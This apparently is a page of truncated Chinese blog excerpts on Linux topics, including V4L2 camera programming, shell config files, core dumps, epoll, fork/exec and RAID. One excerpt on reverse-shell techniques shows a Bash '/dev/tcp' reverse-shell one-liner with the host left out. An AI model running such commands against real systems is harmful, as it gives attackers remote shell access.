一.基本信息 http://www.alubi.cn/lpms-b2/ 安装ros教程 http://wiki.ros.org/lpms_imu https://lp-research.com/ros-and-lp-research-imus-simple/ Note: IMU坐标系方向与重力加速度的方向无关.切勿以重力加速度方向推断IMU坐标系方向. 二.使用方法 在system setting中打开蓝牙,连接IMU. rosrun rqt_plot rqt_plot & rosrun lpm

V4L(video4linux是一些视频系统,视频软件.音频软件的基础,经常时候在需要采集图像的场合,如视频监控,webcam,可视电话,经常使用在embedded linux中是linux嵌入式开发中经常使用的系统接口.它是linux内核提供给用户空间的编程接口,各种的视频和音频设备开发相应的驱动程序后,就可以通过v4l提供的系统API来控制视频和音频设备,也就是说v4l分为两层,底层为音视频设备在内核中的驱动,上层为系统提供的API,而对于我们来说需要的就是使用这些系统API. V4L2是V

Camera的可设置项极多,V4L2 支持了不少.但Sam之前对这些设置的使用方法和涵义都是在看videodev2.h中边看边理解.感觉很生涩. 直到写这篇blog时,才发现v4l2有专门的SPEC来说明: http://www.linuxtv.org/downloads/legacy/video4linux/API/V4L2_API/spec-single/v4l2.html 但也基本没有时间细致看了. 先把自己看头文件看出的一些东西记录在这里吧.以实际设置过程为顺序谈谈V4L2 设置. 1.

Linux安装时可能要修改的配置文件:/etc/profile./etc/bashrc(ubuntu没有这个文件,对应地,其有/etc/bash.bashrc文件.我用的是ubuntu系统,所以下面将一律使用/etc/bash.bashrc来叙述).~/.bash_profile.~/.bash_login.~/.profile.~/.bashrc. utuntu系统默认只有/etc/profile./etc/bash.bahsrc.~/.profile.~/.bashrc这四个文件.其他文件可

前面主要介绍的是:V4L2 的一些设置接口,如亮度,饱和度.曝光时间,帧数,增益.白平衡等.今天看看V4L2 得到数据的几个关键ioctl,Buffer的申请和数据的抓取. 1. 初始化 Memory Mapping 或 User Pointer I/O. int ioctl(int fd, int requestbuf, struct v4l2_requestbuffers * argp); 參数一:open()所产生的句柄. 參数二:VIDIOC_REQBUFS 參数三:in/out结构体.

Introduction ccl is the customizable configuration library, a collection of functions for application programmers wishing to interface with user-editable configuration files containing key/value pairs. ccl is customizable because it allows the commen

1.前言 一直在从事linux下后台开发,经常与core文件打交道.还记得刚开始从事linux下开发时,程序突然崩溃了,也没有任何日志.我不知所措,同事叫我看看core,我却问什么是core,怎么看.同事鄙视的眼神,我依然在目.后来学会了从core文件中分析原因,通过gdb看出程序挂再哪里,分析前后的变量,找出问题的原因.当时就觉得很神奇,core文件是怎么产生的呢?难道系统会自动产生,可是我在自己的linux系统上面写个非法程序测试,并没有产生core问题?这又是怎么回事呢?今天在ngnix的

// 在Linux下的中断方式读取按键驱动程序 //包含外部中断 休眠 加入poll机制 // 采用异步通知的方式 // 驱动程序发 ---> app接收 (通过kill_fasync()发送) // 为了使设备支持异步通知机制,驱动程序中涉及以下3项工作: // 1. 支持F_SETOWN命令,能在这个控制命令处理中设置filp->f_owner为对应进程ID. // 不过此项工作已由内核完成,设备驱动无须处理. // 2. 支持F_SETFL命令的处理,每当FASYNC标志改变时,驱动程序

Windows要引入的头文件是<Windows.h> 主要是两个函数FindFirstFile.FindNextFile MSDN里是这么说的: FindFirstFile function Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used). 这个函数是用来在给定目录下搜索某个文件用的(比

今天将之前在win下编好的读取BMP图像功能移植到UNIX下. 碰到的第一个问题是,Linux下的BMP文件头的结构体需要自己重新定义一遍. 第二个问题是,需要搞清楚Linux是32位的还是64位的.因为在定义BMP文件头结构体的时候会定义long型的变量.而在64位系统中long型占8个字节,在32位系统中占4个字节.因此这就会导致文件读取的时候,头信息错位.我的解决办法是将BMP文件头结构体中的long型都换为int型.因为int型在32和64位系统中都是4个字节的. MAC, Window

由于项目需要,这两天在用C++做XML文件解析的工作.在linux下有个很方便的操作xml文件的库——libxml2,它提供了一套创建和查询xml文件的C语言的接口.这篇博客主要介绍如何使用libxml2读取并解析xml文件. 下载并安装libxml2 下载地址:ftp://xmlsoft.org/libxml2/ 下载最新的版本,我下载的是libxml2-2.9.1.tar.gz.下载后将文件解压到合适的位置,进入解压后的目录. 编译命令非常简单(注意:如果configure文件没有可执行权限

在实际的工作中遇到到要导入word格式的文件,经过努力,终于成功了. 在linux上用PHP读取WORD文档,其实是使用了 antiword程序把word文档转化为txt文档. 再使用php执行系统命令调用而已. 具体操作如下: 1.安装antiword 官方站:http://www.winfield.demon.nl/ 下载地:http://www.winfield.demon.nl/linux/antiword-0.37.tar.gz 下载完,解压,进入目录 使用命令 make &&

一.各硬件装置在Linux下的文件名 1.IDE硬盘机 在Linux内的文件名: /dev/hd[a-d]  (a-d 刚好是四个这个是有原因的具体如下) 解释:以 IDE 接口来说,由于一个 IDE 扁平电缆可以连接两个 IDE 装置,又通常主机都会提供两个 IDE 接口,因此最多可以接到四个 IDE 装置. 也就是说,如果你已经有一个光盘设备了,那举最多就叧能再接三颗 IDE 接口的磁盘啰. 这两个 IDE 接口通常被称为 IDE1(primary)及 IDE2(secondary), 而每

[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里shell由bash解析,有时候是由sh解析,不一定百发百中***在虚拟机里面试过可行,替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用******由于其特殊性,命令执行后依旧无法找到/dev/tcp目

 一下是自己用到到几次实践,觉得很赞:   1.拷贝文件时,排除某些不需要的文件:   1)使用xargs来做: ls /tmp/test/ |grep -v .gz |xargs -i cp -r /tmp/test/{} /tmp/test_cp     2)使用find+cpio的方式: find /tmp/test/ |grep -v .gz |cpio -pdm /tmp/test_cp/   3) 使用rsync来做: rsync -avp --exclude = /tmp/test

Linux下的C Socket编程(一) 介绍 Socket是进程间通信的方式之一,是进程间的通信.这里说的进程并不一定是在同一台机器上也有可能是通过网络连接的不同机器上.只要他们之间建立起了socket的连接,那么数据便可以在机器之间进行双向的交流,直到连接断开. socket的建立 在我们接触到实际的代码API之前,我们应该对基础的连接方式有所了解. Note left of server: 建立一个正被监听的socket并等待客户端的连接 Note right of client: 建立一

一.RAID的原理基础 在 讲解RAID的原理基础之前,我们首先来了解一下传统磁盘的劣势.我们知道一台PC机种都会包含CPU.内存.主板.硬盘.网卡等硬件,影响计算机性能的 组建包括:CPU.主板总线IO.内存IO.硬盘IO.网卡IO等.可能我们在一提到影响计算机的性能时,首先想到的就是CPU.但是随着计算机的发展, 特别是对于现代的处理器来说,其运算速度已经是非常快的了,同时我们的内存IO速度也已经达到了非常快的地步了(差不多应该有5G每秒),而我们也知道数 据都是保存硬盘上的,所以计算机其实

嵌入式 Linux下永久生效环境变量bashrc 1) .bashrc文件 在linux系统普通用户目录(cd /home/xxx)或root用户目录(cd /root)下,用指令ls -al可以看到4个隐藏文件, .bash_history   记录之前输入的命令 .bash_logout    当你退出时执行的命令 .bash_profile    当你登入shell时执行 .bashrc             当你登入shell时执行 请注意后两个的区别:'.bash_profile'只

linux下epoll实现机制 原作者:陶辉 链接:http://blog.csdn.net/russell_tao/article/details/7160071 先简单回顾下如何使用C库封装的select系统调用吧 int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); select的使用方法是这样的: 返回的活跃连接 ==select(全部待监控

Linux下Fork与Exec使用 转自 Linux下Fork与Exec使用 一.引言 对于没有接触过Unix/Linux操作系统的人来说,fork是最难理解的概念之一:它执行一次却返回两个值.fork函数是Unix系统最杰出的成就之一,它是七十年代UNIX早期的开发者经过长期在理论和实践上的艰苦探索后取得的成果,一方面,它使操作系统在进程管理上付出了最小的代价,另一方面,又为程序员提供了一个简洁明了的多进程方法.与DOS和早期的Windows不同,Unix/Linux系统是真正实现多任务操作的

Linux下文件删除的原理 Lniux下控制文件真正被删除的计数器 Linux是link的数量来控制文件删除的.只有当一个文件不存在任何link的时候,这个文件才会被删除.一般来讲,每个文件都有两个link计数器:i_count和i_link i_count的意义是当前文件使用者(或被调用)的数量 当一个文件被某一个进程引用时,对应的这个值就会增加 i_nlink的意义是介质连接的数量(硬链接的数量) 当创建文件的硬链接的时候,这个值就会增加 可以理解为i_count是内存引用计数器,i_nli